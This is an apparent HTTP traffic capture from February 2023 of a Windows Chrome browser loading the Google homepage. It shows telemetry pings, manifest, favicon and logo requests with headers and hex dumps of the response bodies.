Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:54 UTC	214	OUT	POST /gen_204?ei=T9niY5zxMZSF9u8Pq9CV4AU&vet=10ahUKEwjc1KiDw4T9AhWUgv0HHStoBVwQhJAHCBw..s&gl=GB&pc=SEARCH_HOMEPAGE&isMobile=false HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-model: sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.google.com X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:54 UTC	224	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy-Report-Only: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= Date: Tue, 07 Feb 2023 23:05:54 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:55 UTC	225	OUT	GET /gen_204?atyp=i&ct=bxjs&cad=&b=0&ei=T9niY5zxMZSF9u8Pq9CV4AU&zx=1675811153397 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-model: sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:55 UTC	227	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy-Report-Only: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= Date: Tue, 07 Feb 2023 23:05:55 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:55 UTC	227	OUT	POST /gen_204?s=webhp&t=aft&atyp=csi&ei=T9niY5zxMZSF9u8Pq9CV4AU&rt=wsrt.960,aft.3296,afti.3296,cbs.585,cbt.1453,prt.1755&wh=872&imn=12&ima=5&imad=0&imac=0&aftp=872&bl=u1zJ HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-model: sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.google.com X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:55 UTC	229	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy-Report-Only: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= Date: Tue, 07 Feb 2023 23:05:55 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:56 UTC	342	OUT	GET /manifest?pwa=webhp HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-model: sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:56 UTC	343	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Cache-Control: public, max-age=3600 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-uov-OBxkmQrEkd-08G6dhQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= Content-Disposition: attachment; filename="f.txt" Date: Tue, 07 Feb 2023 23:05:56 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:05:56 UTC	344	IN	Data Raw: 65 31 0d 0a 7b 22 6e 61 6d 65 22 3a 22 47 6f 6f 67 6c 65 22 2c 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 22 47 6f 6f 67 6c 65 22 2c 22 72 65 6c 61 74 65 64 5f 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 69 64 22 3a 22 63 6f 6d 2e 67 6f 6f 67 6c 65 2e 61 6e 64 72 6f 69 64 2e 67 6f 6f 67 6c 65 71 75 69 63 6b 73 65 61 72 63 68 62 6f 78 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6c 61 79 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 74 6f 72 65 2f 61 70 70 73 2f 64 65 74 61 69 6c 73 3f 69 64 3d 63 6f 6d 2e 67 6f 6f 67 6c 65 2e 61 6e 64 72 6f 69 64 2e 67 6f 6f 67 6c 65 71 75 69 63 6b 73 65 61 72 63 68 62 6f 78 22 2c 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 7d 5d 7d 0d 0a Data Ascii: e1{"name":"Google","short_name":"Google","related_applications":[{"id":"com.google.android.googlequicksearchbox","url":"https://play.google.com/store/apps/details?id=com.google.android.googlequicksearchbox","platform":"play"}]}
2023-02-07 23:05:56 UTC	345	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:56 UTC	345	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-model: sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:56 UTC	346	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 03 Feb 2023 14:29:56 GMT Expires: Sat, 11 Feb 2023 14:29:56 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Age: 376560 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:05:56 UTC	346	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2023-02-07 23:05:56 UTC	347	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2023-02-07 23:05:56 UTC	348	IN	Data Raw: ff de ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S
2023-02-07 23:05:56 UTC	349	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2023-02-07 23:05:56 UTC	351	IN	Data Raw: ff ff ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:58 UTC	352	OUT	GET /images/branding/googlelogo/2x/googlelogo_color_272x92dp.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: www.google.com Cookie: CONSENT=YES+GB.en-GB+V9+BX
2023-02-07 23:05:58 UTC	352	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 13504 Date: Tue, 07 Feb 2023 23:05:58 GMT Expires: Tue, 07 Feb 2023 23:05:58 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:05:58 UTC	353	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 20 00 00 00 b8 08 06 00 00 00 da 23 57 1b 00 00 34 87 49 44 41 54 78 01 ec dd 03 90 25 3f 1e c0 f1 9c 6d db b6 7d af 93 c1 d9 28 9d 59 3a 9b af 6e 92 f4 7a ff b6 6d db b6 ed fb db 77 83 24 3d eb d7 97 9c d7 bb f3 5e bf 99 e9 fe 4e d5 67 8d 9e d2 7c ab 93 5f 22 f8 58 fd a3 d5 2e 1f fd e9 76 f9 c4 c1 b9 a3 4f 1b 5a d0 79 d2 bb 76 2a 1f 23 ca f2 11 91 00 80 1e 01 d0 94 4f 34 85 84 1c f1 6f 52 d6 7d 59 e6 e1 97 ca 86 ed 94 f5 c7 66 d6 5f 94 69 7f 5b a6 c3 78 66 dd 2a 65 43 b9 6e 6e 49 74 9f b4 e1 ea e8 0c a9 c3 01 ca f8 39 ca 16 3f 94 79 18 6e cd 2d 5e dc e0 50 01 00 80 00 69 b7 cb 47 a6 d8 90 36 7c 5f 5a bf 87 32 ee ca cc ba 65 29 24 2a a5 c3 68 74 a6 32 61 b1 b4 ee 8b ca fa e7 45 62 75 00 00 a0 36 9f Data Ascii: PNGIHDR #W4IDATx%?m}(Y:nzmw$=^Ng\|_"X.vOZyv#O4oR}Yf_i[xfeCnnIt9?yn-^PiG6\|_Z2e)$*ht2aEbu6
2023-02-07 23:05:58 UTC	354	IN	Data Raw: 59 77 cf 80 f6 59 24 00 a0 a1 08 10 02 64 2a 7b 3d fc 11 84 44 97 fe 35 96 fc e7 86 9e 1d 02 00 04 c8 a6 23 40 5a a6 78 b7 b2 ee 0e 02 a2 77 a4 f1 c7 b4 da 63 4f 8f 04 00 34 08 01 b2 69 08 10 65 c2 f7 2a bb 91 16 37 4a 3d fe aa 48 00 40 43 10 20 1b 46 80 7c e5 e0 f2 51 e9 7a 7a 22 a1 5a 69 8a 68 50 bb 0f 47 02 00 1a 80 00 59 3f 02 64 68 41 e7 49 ca f8 a3 08 84 fe c8 b4 5b 9a ee 94 89 04 00 d4 1c 01 b2 6e 04 c8 87 e7 8c 3f 43 59 7f c1 ec f9 e2 ed 83 32 ee 7e 69 c3 cd d2 b8 cb e3 f7 e7 28 eb cf 53 d6 5d 92 ee 68 49 bf a7 b4 5b 3e 0b 22 64 a5 cc c3 d7 23 01 00 35 46 80 ac 8d 00 51 d6 3f 2f d3 e1 aa 19 38 39 b2 3c d3 fe fc 74 b2 a8 cc c3 2f 95 29 3e 13 a7 72 5e fb ae 9d ca c7 44 62 63 d2 f8 70 3a 91 34 6d a6 95 d6 7f 55 1a ff 97 e8 88 34 16 3b 83 46 74 0b 46 Data Ascii: YwY$d{=D5#@ZxwcO4ie7J=H@C F\|Qzz"ZihPGY?dhAI[n?CY2~i(S]hI[>"d#5FQ?/89<t/)>r^Dbcp:4mU4;FtF
2023-02-07 23:05:58 UTC	355	IN	Data Raw: bf 83 7f 73 1f be 5e ce 7f bb 7c e6 90 7d f2 4f ca da 20 be e2 70 66 39 32 29 b3 2b c6 ee 93 22 ac 5c dd 98 bd 0f 25 14 5e ad 4b a4 bf c2 f8 9b 41 3e df f2 55 f5 97 be 41 ce 44 3a da 94 fe 12 ed 35 5e 40 2b fb bf e1 77 ff 08 07 8c 6f e8 da 10 c4 8d 2a 25 00 c9 4f 98 50 d5 11 1b b5 7b 32 12 3c 19 63 d6 c5 70 5f 47 2c f8 6a 47 2c 30 1b 63 59 77 67 2c 94 5f 1d 7f 86 b1 6f d6 b7 63 5c 2c 78 77 32 16 6c ec 8c 87 8e 49 46 46 ed c8 00 c5 91 01 08 82 85 66 03 75 3f ae 04 f1 f9 b4 cc df bf 76 dd 8e 68 e8 88 ce 68 f0 7a 9c 88 ef e0 44 fb 86 27 9d 06 3e 16 4e de b7 f1 b8 d7 75 44 6b 0f e7 df 02 01 20 5f 6e ba ac db d3 5a 73 38 02 87 eb 10 48 bc 8d a0 e2 1b 7c 9f d7 c0 c7 e2 63 f2 b1 f9 37 f8 b7 40 00 c8 17 9f ba 78 db ba c6 f4 05 08 38 1e c1 18 bb 50 67 ac 4e bf 81 Data Ascii: s^\|}O pf92)+"\%^KA>UAD:5^@+wo*%OP{2<cp_G,jG,0cYwg,_oc\,xw2lIFFfu?vhhzD'>NuDk _nZs8H\|c7@x8PgN
2023-02-07 23:05:58 UTC	356	IN	Data Raw: aa dc 50 2b df c3 e7 dd 00 e4 e3 fd bf 37 14 f9 1e 0f 79 7a 7c 8b 87 ce 06 19 0c e1 01 15 f6 66 29 7f 88 da 40 7c be d5 61 2a f2 42 7e 70 2b 11 06 a3 f3 41 ca 09 f5 25 ce e3 45 b9 12 a1 ae c9 f9 20 e5 34 e6 b2 dc 70 cc 36 3f ee 07 19 de 0e 40 f2 81 40 b5 e7 83 0f 6b 26 24 12 38 1e 64 a0 84 6b 91 56 c3 22 2d ac dc 07 e2 f3 59 78 01 2e fe c3 ed df 31 68 5b de 52 7d 8e db 83 08 85 25 99 b3 41 ca 81 0d 39 b9 33 d0 0f 30 bc 1d 80 b0 9c b9 b5 ec 52 09 d8 16 23 15 a9 8d 82 0c 84 ec df 30 7f 5d 7f 07 4c 2f 2a 7c 20 a8 6f c8 6c 0a a2 01 3b 5d 8e ab f4 e0 c3 ba 63 b0 12 b8 ec b4 a2 ad 66 02 6b 65 f8 01 08 df 83 9a a3 41 ec c4 9b 3c 76 9f f5 83 0b ef 07 20 98 e5 9d 54 81 e3 da c2 ce f8 